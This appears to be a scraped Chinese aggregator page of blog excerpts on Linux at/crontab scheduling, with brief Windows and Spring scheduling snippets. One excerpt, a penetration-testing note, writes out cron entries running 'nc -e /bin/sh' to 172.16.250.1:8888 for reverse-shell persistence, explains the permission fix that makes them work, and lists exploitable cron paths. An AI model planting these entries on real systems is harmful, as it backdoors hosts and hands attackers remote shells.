-
计划任务
2019-03-23 16:07:22一、 at 一次性计划任务 使用at制定一次性计划任务前需要确保atd服务是开启的,否则计划任务不会被执行。 使用systemctl start atd 开启服务 使用systemctl enable atd 确保该服务开机自启 at : 在指定的时间执行...一、 at 一次性计划任务
使用at制定一次性计划任务前需要确保atd服务是开启的,否则计划任务不会被执行。
使用systemctl start atd 开启服务
使用systemctl enable atd 确保该服务开机自启
at : 在指定的时间执行特定的任务
选项:
-m 当计划任务执行结束后发送邮件给用户
-l 查看用户计划任务
-d 删除用户计划任务
-c 查看at 计划任务具体内容
实例
使用at指定一个时间
写入计划任务内容
输入完毕后按Ctrl +D 快捷键结束
使用#at -l 查看计划任务
使用#at -d 【计划编号】 可以进行删除计划任务二、 cron 周期性计划任务
crontab 命令:创建一个计划任务
用法: crontab 【选项】
选项:
-u 指定计划任务的用户,默认为当前用户
-l 查看计划任务
-r 删除计划任务
-e 编辑计划任务
-i 使用-r删除计划任务时,要求用户确认删除第一列 第二列 第三列 第四列 第五列 第六列
分 时 日 月 周 命令
使用24小时制,分钟范围时00-59,小时范围是00-23,日期范围是1-31,月范围是1-12,周范围是0-7(其中0或7都可以表示周日)。
如果需要指定的是时间段,可以用横杠(-)表示一段连续的时间,使用逗号(,)表示若干个不连续的时间,使用星号(*)表示所有的时间,使用除号(/)表示间隔时间。#crontab -e #为当前用户设置计划任务
实例:
使用#crontab -e 进入设置界面以上命令是每周5在/opt/创建一个xiao.txt文件 -
计划任务(一次性计划任务、周期计划任务)级计划任务实验
2019-04-01 17:25:46一、计划任务分类 1.使用at命令调用atd进程设置在某个特定的时间,执行一次性任务 2.使用crontab命令调用crond进程,设置按固定的周期(如每天、每周等)重复执行预先计划好的任务 二、一次性计划任务设定: ...一、计划任务分类
1.使用at命令调用atd进程设置在某个特定的时间,执行一次性任务
2.使用crontab命令调用crond进程,设置按固定的周期(如每天、每周等)重复执行预先计划好的任务
二、一次性计划任务设定:
前提:service atd start,用ps -ef 查看进程是否开启
1、一次性计划任务常用命令
at命令
在指定的日期、时间点自动执行预先设置的一些命令操作,属于一次性计划任务
Ctrl+d保存退出
系统服务的名称:/etc/init.d/atd
设置格式:at [HH:MM] [yyyy-mm-dd]
at命令常用时间格式:
at [HH:MM]
at [HH:MM] [yyyy-mm-dd]
at now + 数字 [minutes|hours|days|weeks]
atq命令
用途:查询当前设置的at任务列表
同at -l
atrm 编号
用途:删除指定任务编号的at任务
同at -d
at 时间 -f 文件
使用文件中的命令作为计划任务
at now + 5 minutes -f /root/test.sh
at -c 任务号 :查看任务的具体内容(相当于cat下某个文件)
at 计划任务文件位置
/var/spool/at/a开头的文件
任务执行完毕,文件消失
[root@111 ~]# date Sat Mar 23 14:57:40 CST 2019 [root@111 ~]# ls /tmp-----------/tmp目录是空目录 [root@111 ~]# at 15:01 at> touch /tmp/at.txt-----------设定一次性计划任务,在/tmp/目录下创建at.txt文件 at> <EOT> job 2 at 2019-03-23 15:01 [root@111 ~]# atq------------查看计划任务,刚才设定的计划任务的编号是2,2不是总的计划任务数,要分清楚 2 2019-03-23 15:01 a root [root@111 ~]# at -c 2----------查看计划任务的内容涉及什么 #!/bin/sh # atrun uid=0 gid=0 # mail root 0----------------以下省略许多 touch /tmp/at.txt [root@111 ~]# cd /var/spool/at-------切换到计划任务文件位置 [root@111 at]# ls a00002018b07e5 spool [root@111 at]# cat a00002018b07e5------相当于at -c 2 #!/bin/sh # atrun uid=0 gid=0 # mail root 0-----------以下省略许多 touch /tmp/at.txt [root@111 at]# date-------时间点已经到了执行计划任务的15:01 Sat Mar 23 15:01:18 CST 2019 [root@111 at]# ls /tmp----------计划任务执行成功,at.txt文件已经创建 at.txt [root@111 at]# ls----------计划任务执行成功,文件消失 spool
2、设定计划任务权限
计划任务并非每个用户都可以创建,以下两个文件设置任务的权限
/etc/at.deny:只有该名单里面的人不可以使用(默认情况下所有用户都可以添加一次性任务)
/etc/at.allow:只有该名单里面的人可以使用
[root@111 ~]# ls /etc/at.deny /etc/at.deny [root@111 ~]# ls /etc/at.allow-------------默认情况下只有/etc/at.deny文件 ls: cannot access /etc/at.allow: No such file or directory--------并且/etc/at.deny是空文件,标志着所有用户都能设置任务 [root@111 ~]# cat /etc/at.deny
三、周期计划任务:
按照预先设置的时间周期(分钟、小时、天……)重复执行用户指定的命令操作,属于周期性计划任务
1、管理cron计划任务
服务名称:/etc/init.d/crond
用户定义的设置,位于文件:/var/spool/cron/用户名
编辑计划任务:crontab -e [-u 用户名]
#加用户名代表为这个用户创建周期计划任务 #就是调用vim打开/var/spool/cron/下的文件
查看计划任务内容:crontab -l [-u 用户名] #调用cat命令读取/var/spool/cron/文件内容
删除计划任务:crontab -r [-u 用户名] 删除当前用户的周期计划任务文件
#调用rm删除/var/spool/cron/下文件,如果只想删除一个计划任务,用crontab -e打开,再去删除某行
注意:root用户可以管理注定用户的计划任务,普通用户只能管理自己的计划任务
2、cron命令含义
分钟 取值从0-59之间的任意整数 小时 取值从0-23之间的任意整数 时间数值的特殊表示方法:
* 表示该范围内的任意时间
, 表示间隔的多个不连续时间点
- 表示一个连续的时间范围
/n 指定间隔的时间频率
应用示例
0 17 * * 1-5 周一到周五每天五点
30 8 * * 1,3,5 周一、周三、周五 每天8点半
0 12 */3 * * 每间隔三天的12点整
注意:
1.资源分配不均
多个计划任务同时运行
2.安全检查
防止有非法计划任务
3.周和日、月不可同时并存
容易导致计划任务时间混乱
3、crond进程配置文件的通常包含三个部分 :/etc/crontab文件
注释、环境变量、cron命令
[root@localhost ~]# cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin(相比较平时命令行少,因此命令不在配置文件的4个路径下就会找不到,因此需要用到绝对路径) [root@localhost ~]# echo $PATH /usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/mysql/bin:/root/bin
四、计划任务实验:
示例1(root用户):
每天早上7:50自动开启sshd服务,22点50时关闭
每隔5天的12点整清空一次FTP服务器公共目录/var/ftp/pub
每周六的7:30时,重新启动httpd服务
每周一、三、五的17:30时,打包备份/etc/httpd目录
[root@111 ~]# id uid=0(root) gid=0(root) groups=0(root) [root@111 ~]# which service /sbin/service [root@111 ~]# which rm alias rm='rm -i' /bin/rm [root@111 ~]# which tar /bin/tar [root@111 ~]# crontab -e [root@111 ~]# crontab -l 50 7 * * * service sshd start 50 22 * * * service sshd stop 0 12 */5 * * rm -rf /var/ftp/pub/* 30 7 * * 6 service httpd restart 30 17 * * 1,3,5 tar -cf /etc/httpd.tar /etc/httpd
示例2(jerry用户):
每周日晚上23:55时将“/etc/passwd”文件的内容复制到宿主目录中,保存为pwd.txt文件
注意:宿主目录指的是jerry用户的家目录,家目录的表示方法都是~符号,表示的是/home/jerry
方法1、此时登录为root用户,root用户去创建jerry用户的周期任务 [root@111 ~]# id uid=0(root) gid=0(root) groups=0(root) [root@111 ~]# crontab -e -u jerry [root@111 ~]# crontab -l -u jerry 55 23 * * 7 cp /etc/passwd /home/jerry/pwd.txt 方法2、也可以切换到jerry用户再去创建周期任务 [jerry@111 ~]$ id uid=501(jerry) gid=501(jerry) groups=501(jerry) [jerry@111 ~]$ crontab -e [jerry@111 ~]$ crontab -l 55 23 * * 7 cp /etc/passwd /home/jerry/pwd.txt
注意问题:在执行周期任务的时候,是将命令写到shell脚本,去执行脚本
1、计划任务source 脚本
2、给脚本加x权限,计划任务写命令时指定绝对路径
示例3:为root用户编写计划任务:每周2、4、6的10点到17点的每隔5分钟自动将passwd、shadow这2个重要系统文件归档到username.备份的日期和时间.tar.gz这种名称的文件里(例如:root.201202011615.tar.gz)备份文件放到/opt/目录下面,并且每成功备份一个文件就发一封邮件到root用户的邮箱,邮件内容是“username.备份的日期和时间.tar.gz is ok”。
1、编写脚本3.sh tar czf /opt/root.$(date +%Y%m%d%H%M).tar/gz /etc/passwd /etc/shadow 2、写计划任务(设定的是每分钟执行一次,便于排错) [root@111 opt]# crontab -l * * * * * source /opt/scripts/3.sh [root@111 opt]# ls rh rpm_tar_test scripts [root@111 opt]# date Sat Mar 23 16:38:01 CST 2019# [root@111 opt]# ls rh root.201903231638.tar.gz rpm_tar_test scripts
-
linux计划任务踩坑
2021-01-18 18:05:12测试3.1 使用crontab来设置计划任务3.2 直接编辑文件设置计划任务4.总结5.参考文章 1.前言 在linux渗透测试的时候,有时会选择使用计划任务crontab来进行权限维持或者反弹shell,在自己做测试的时候遇见了几个特殊的...1.前言
在linux渗透测试的时候,有时会选择使用计划任务crontab来进行权限维持或者反弹shell,在自己做测试的时候遇见了几个特殊的点做一下记录。
环境为ubuntu。
2.前置知识
各个用户的计划任务文件存在/var/spool/cron/crontabs/中,以用户名来命名。
系统级别的计划任务文件存在/etc/crontab,无论什么用户登陆,都会执行这个文件中的计划任务。
crontab -l 查看当前用户的计划任务
crontab -r 删除当前用户所有的计划任务
crontab -e 编辑当前用户的计划任务3.测试
如果可以使用shell,直接用crontab命令即可。如果无法使用shell类似于redis未授权漏洞的利用,就需要直接编辑/var/spool/cron/crontabs/文件,但是直接编辑文件,在新版本的linux系统中无法生效。
3.1 使用crontab来设置计划任务
使用crontab命令创建计划任务的话,文件中会含有许多注释,且权限为600。
查看日志可以看到执行了命令:tail -f /var/log/syslog
执行ls命令,shell反弹成功:
3.2 直接编辑文件设置计划任务
echo "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /var/spool/cron/crontabs/root
看日志发现报错了,文件权限有问题,而且事实也是一直没有shell反弹回来:
这时候唯一的解决方案就是更改文件权限:chmod 0600 /var/spool/cron/crontabs/root
发现shell已经回连。
4.总结
直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e命令。
至于centos的话,就不受影响。
补充:/etc/cron.d与/etc/crontab
可以直接给此文件夹下写计划任务,不需要特殊权限即可执行,但是一定要加上username字段,举例如下增加了root用户:
echo "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /etc/cron.d/2
最后补充一下,可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件5.参考文章
-
Linux基础---计划任务之一次性计划任务(at)和周期性计划任务(crontab)
2019-03-22 14:36:37计划任务的意义 计划任务分类 用户计划任务crontab 系统计划任务 计划任务使用注意事项 anacron服务介绍 计划任务的意义 计划任务 创建和管理在指定时间自动执行的任务 注意事项 要使任务计划...知识要点
- 计划任务的意义
- 计划任务分类
- 用户计划任务crontab
- 系统计划任务
- 计划任务使用注意事项
- anacron服务介绍
计划任务的意义
计划任务
- 创建和管理在指定时间自动执行的任务
注意事项 - 要使任务计划在指定时间自动运行,计划任务的服务必须是启动的
计划任务分类 - 使用at命令调用atd进程设置在某个特定的时间,执行一次性任务
- 使用crontab命令调用crond进程,设置按固定的周期(如每天、每周等)重复执行预先计划好的任务
一次性计划任务
at命令
- 在指定的日期、时间点自动执行预先设置的一些命令操作,属于一次性计划任务
- 系统服务的名称:/etc/init.d/atd
- 设置格式:at [HH:MM] [yyyy-mm-dd]
at -c 任务号
查看计划任务的具体内容
atq命令
用途:查询当前设置的at任务列表
同at -l
atrm命令:
用途:删除指定任务编号的at任务
格式:atrm 编号
同 at -d
at命令常用时间格式:
- at [HH:MM]
- at [HH:MM] [yyyy-mm-dd]
- at now + 数字 [minutes|hours|days|weeks]
at 时间 -f 文件
-
使用文件中的命令作为计划任务
-
at now + 5 minutes -f /root/test.sh
at计划任务文件位置 -
/var/spool/at/a开头的文件,任务执行完毕,文件消失
-
/etc/at.deny :只有该名单里面的人不可以使用
-
/etc/at.allow :只有该名单里面的人可以使用
crontab命令(周期计划任务)
- 按照预先设置的时间周期(分钟、小时、天……)重复执行用户指定的命令操作,属于周期性计划任务
- 服务名称:/etc/init.d/crond
- 主要设置文件
- 用户定义的设置,位于文件:/var/spool/cron/用户名
配置文件的通常包含三个部分
- 注释
- 环境变量
- cron命令
cron服务配置文件
位于文件:/etc/crontab
系统cron就在该文件定义,是为了维护系统能够正常运行的,任务的格式也和用户cron有点不同,多了一个username
管理cron计划任务
编辑计划任务:crontab -e [-u 用户名]
查看计划任务:crontab -l [-u 用户名]
删除计划任务:crontab -r [-u 用户名]
周期计划任务注意事项
资源分配不均
多个计划任务同时运行
安全检查
防止有非法计划任务
周和日、月不可同时并存
容易导致计划任务时间混乱anacron程序介绍
anacron程序
- 弥补cron在系统关机后不能执行计划任务的问题
- 不能替代cron
- 会每个小时被执行一次,脚本在/etc/cron.hourly
- 按天、周或月为单位去检查系统未进行的cron任务
- /var/spool/anacron
- 服务名称:/etc/init.d/anacrond
- 开机时自动运行,然后将未执行的计划任务执行一遍后,anacron 就会自动停止
-
linux计划任务
2018-03-01 12:20:27Linux定时任务Crontab...另 外, 由于使用者自己也可以设置计划任务,所以, Linux 系统也提供了使用者控制计划任务的命令 :crontab 命令。一、crond简介crond 是linux下用来周期性的执行某种任务或等待处理某些事... -
windows计划任务配置(任务计划程序)
2018-09-10 17:08:19背景: 需要在windows服务器上定时做一些任务,写程序,...1.“管理工具” 里面去找“任务计划程序”或者“控制面板”里面去找“计划任务”,或者直接通过“开始”菜单搜索,主要是不同的系统,名字和位置不一... -
计划任务详解
2018-08-20 15:51:00计划任务:根据自己的时间计划去执行指令或者执行脚本,让计算机到时间自动运行。 分类: 》 一次性计划任务 at (服务名为atd) 软件名为at 》周期性计划任务分为两种:1、crontab -e ,2、/etc/crontab ==... -
windows计划任务定时任务
2019-04-15 09:55:38windows计划任务相关: C:\Users\Administrator> schtasks /? SCHTASKS /parameter [arguments] 描述: 允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任 务。 参数列表: /Create 创建... -
如何使用windows的计划任务?计划任务
2017-07-28 10:26:52https://jingyan.baidu.com/article/ca00d56c767cfae99febcf73.html ...我们经常有一些程序想要过了几小时来运行;...或者叫计划任务;...下面小编将指导大家创建一个计划任务; 百度经验 -
用at命令编写简单的计划任务/cron计划任务
2019-05-22 20:57:30***一为什么要用计划任务?它的好处是什么? 在linux系统中我们经常需要将某些命令或脚本放入计划任务中去执行。 例如:服务器在白天的访问量一般比较大,而服务器在承受着巨大访问压力的同时对其进行全备份是不... -
Linux 计划任务
2020-02-26 18:27:01计划任务主要是做一些周期性的任务,目前最主要的用途是定期备份数据。 分类 一次性调度执行 at Schedule one-time tasks with at. 语法格式:at now +5min(5分钟后) at noon +4 days(第四天中午) at 4:00 2019-... -
Spring 计划任务
2017-01-28 20:34:39从spring 3.1开始,计划任务在Spring中的实现变得异常的简单,首先通过类注解@EnableScheduing 来开启对计划任务的支持!然后在要执行的计划任务上面添加@Scheduled,声明这是一个计划任务! 计划执行类ScheduledT -
Linux之计划任务
2020-10-27 22:41:11一、什么是计划任务 如果想要让自己设计的备份程序可以自动地在系统下面运行,而不需要手动来启动它,这是该如何处理?这些任务可以分为【单一】任务和【循环】任务,在系统内又是哪些服务在负责?有的工作是例行性... -
linux 计划任务
2017-05-10 23:07:03at option TIME 如果都没有全都拒绝普通用户 ...控制用户执行计划任务etccronallowdeny 时间表示法- 时间格式 系统的计划任务 实例 anacron 系统 秒级别运行任务 at与crontab对比 管理临时文件 配置 -
Windows的计划任务
2018-07-29 13:39:22阅读目录 一:什么是Windows的计划任务? 二:如何设置计划任务 三:高级设置计划任务 一:什么是Windows的计划任务? 在日常的工作中,我们都有一些固定的或 -
linux_计划任务
2020-02-26 19:19:11linux 计划任务 计划任务主要做一些周期性的任务 目前主要用于备份数据 简介 一次性调度 at Schedule one-time tasks with at. 循环调度执行 cron Schedule recurring jobs with cron. 实例 一次性调度执行 语法 at ... -
Linux_计划任务
2018-11-13 15:45:44#设置计划任务 $at [-f filename] time #查看计划任务 $atq #删除计划任务,no在atq中查看 $atrm no #指定下一个时段执行: $at -f cmd.sh +1min #下一分 $at -f cmd.sh +1hour #下一小时 $at -f cmd.sh +1day #下一... -
Linxu用户设置计划任务的黑白名单
2020-12-03 11:23:38调整用户计划任务的权限 一.用户计划任务权限 理论上linux允许所有用户创建计划任务的,可以通过创建黑白名单来限制用户创建计划任务的权限。 用户权限分为可以使用计划任务的白名单和不能使用计划任务的黑名单两种... -
创建计划任务
2017-09-20 14:55:20计划任务,是系统自动完成任务的一种方式。其原理就像是闹钟一样,到了我们指定的某一个时间点,系统就会自动的执行某种操作,实现我们想要达到的目的。在实际生产中有很多这样类似的例子,例如,定时发送邮件... -
Spring计划任务(定时任务)
2017-06-12 14:28:16适用于Sping3.1以后的版本,首先通过注解@EnableScheduling开启对计划任务的支持,然后在计划任务的方法上添加注解@Scheduled来申明这是一个计划任务。 Spring通过@Scheduled支持多种类型的计划任务,包含cron,... -
Linux计划任务管理
2019-01-31 21:08:21计划任务 类型: 一次性计划任务 周期性计划任务 一次性计划任务 前提: atd服务必须运行 [root@wei init.d]# yum -y install at #安装atd服务 [root@wei init.d]# systemctl start atd #开启atd服务 ... -
LINUX之一次性(at)计划任务及周期性(crontab)计划任务
2019-03-28 19:37:16计划任务:创建和管理在指定时间自动执行的任务 注意事项:要使计划任务在指定时间内自动运行,计划任务的服务必须能是开启的。 计划任务分为两类: 1、一次性计划任务 2、周期性计划任务 一次性计划任务 ... -
怎么设置电脑计划任务?设置电脑计划任务的方法
2018-12-25 11:47:51那么我们应该怎么使用电脑计划任务对这些开机自启的软件进行相关设置呢? 电脑计划任务设置操作方法: 1、点击桌面左下角的“开始菜单”,选择打开“控制面板”。如图所示: 2、打开控制面板后,将查看方式改为... -
spring计划任务,springMvc计划任务,Spring@Scheduled,spring定时任务
2016-09-02 09:45:23一、计划任务实现类 1、用@Component注解标识计划任务类,这样spring可以自动扫描 2、在方法中使用注解标识要执行的方法:@Scheduled(cron="*/30 * * * * *") 3、周期可以使用cron,或者fixedRate,... -
Spring 计划任务 Schedule
2017-10-02 17:00:01背景我们经常会碰到一些需要执行定时任务的场景,在SpringBoot中实现非常的简单,我们首先通过在配置类注解@EnableScheduling来开启计划任务的支持,然后在要执行计划任务的方法上注解@Scheduled来声明这是一个计划... -
springboot计划任务(定时任务)
2017-01-04 12:01:55从spring3.1开始,计划任务在spring中变得异常简单。 具体操作: 1.在配置类上添加@EnableScheduling注解来开启对计划任务(定时任务)的支持 2.在执行方法上添加@Scheduled,声明该方法是一个计划任务(定时任务) ...